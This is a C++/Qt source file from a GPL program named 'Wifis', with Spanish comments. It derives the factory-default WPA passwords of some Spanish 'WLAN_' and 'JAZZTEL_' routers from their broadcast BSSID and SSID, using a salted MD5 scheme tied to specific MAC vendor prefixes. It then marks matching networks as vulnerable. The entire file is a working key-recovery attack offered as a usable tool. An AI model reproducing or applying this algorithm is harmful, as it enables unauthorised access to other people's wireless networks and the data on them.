/*
  Programa Wifis, 2010-2011
  Autor: Nilhcraiv

This file is part of Wifis.

    Wifis is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

    Wifis is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with Wifis.  If not, see <http://www.gnu.org/licenses/>.
*/
#include "passwords.h"
#include "md5.h"

passwords::passwords()
{
}

QString passwords::known_wpa(QString ssid, QString bssid, QString encryption, QString autentication)
{
    //Variables
    QString password,start("bcgbghgg"),tempBssid,hex("0123456789ABCDEF");
    int checkHex=0;

    if(ssid.size()<5 && encryption.startsWith("WEP"))
    {//En el caso de que exista una red con menos de 4 caracteres lo evito, ya que tendría problemas en el for.
        return "Desconocida. Disponible en próximas versiones.";
    }
    if(ssid.size()<5)
    {
        return "Desconocida";
    }

    for(int j=0;j<4;j++)
    {
        for(int i=0;i<16;i++)
        {
            if(hex.at(i)==ssid.at(ssid.size()-1-j))
            {
                checkHex++;
            }//if
        }//for i
    }//for j

    if( ( checkHex!=4 && !encryption.startsWith("WEP") ) || ( !ssid.startsWith("WLAN_") &&
        !ssid.startsWith("JAZZTEL_") && !encryption.startsWith("WEP")) ||
            ( !autentication.startsWith("WPA") && !encryption.startsWith("WEP") ) )
    {
        return "Desconocida";
    }

//==================================================== 00:1f:a4 ===================================================
    if(bssid.startsWith("00:1f:a4"))
    {
        for(int i=0;i<bssid.size();i++)
        {
            if(bssid.at(i)==':')
            {
                i++;
            }//if
            password.append(bssid.at(i));
        }//for

        password.resize(8);
        for(int i =0;i<4;i++)
        {
            password.append(ssid.at(ssid.size()-4+i));
        }
        password = password.toLower();
        password = password.fromStdString(md5(password.toStdString())).toUpper();
        password.resize(20);

        return password;

    }//if
//=================================64:68:0c || (38:72:c0 && WLAN__)=============================================
    if( ( bssid.startsWith("64:68:0c") ) || ( bssid.startsWith("38:72:c0") && ssid.startsWith("WLAN_") ) )//Cambiado en versión 0.11
    {
        for(int i=0;i<bssid.size();i++)
        {
            if(bssid.at(i)==':')
            {
                i++;
            }//if
            tempBssid.append(bssid.at(i).toUpper());
        }//for


        for(int i =0;i<4;i++)
        {
            password.append(ssid.at(ssid.size()-4+i).toUpper());
        }

        for(int i =7; i>=0;i--)
            password.prepend(tempBssid.at(i));

        password.append(tempBssid);
        password.prepend(start);
        password.trimmed();

        password = password.fromStdString(md5(password.toStdString()));

        password.resize(20);

        if(bssid.startsWith("38:72:c0"))//Añadido en la version 0.11
            password.prepend("CLAVE NO FIABLE AL 100% -> ");

        return password;

    }//if
//=============================WEP===================================================
    if(encryption.startsWith("WEP"))
        return "Desconocida. Disponible en próximas versiones.";//Siempre que haga un comentario, este debe empezar por Desconocida.
                                                               //Mirar slotConectarButton() de mainwindow.cpp
//==============================Finish===============================================

    return "Desconocida, disponible en próximas versiones.";//Lo mismo, debe empezar por desconocida.

}//known_wpa

QVector<QString> passwords::getPassword(QString ssid, QString bssid, QString encryption, QString autentication)
{
    QVector<QString> vectorPassVulnerability;//In this QVector there are password and if the network is vulnerable.

    vectorPassVulnerability.push_back(known_wpa(ssid,bssid,encryption, autentication));
    if (vectorPassVulnerability.at(0)!="Desconocida"){
        vectorPassVulnerability.push_back("SI");}
    else{
        vectorPassVulnerability.push_back("NO");}
    return vectorPassVulnerability;
}//getPassword
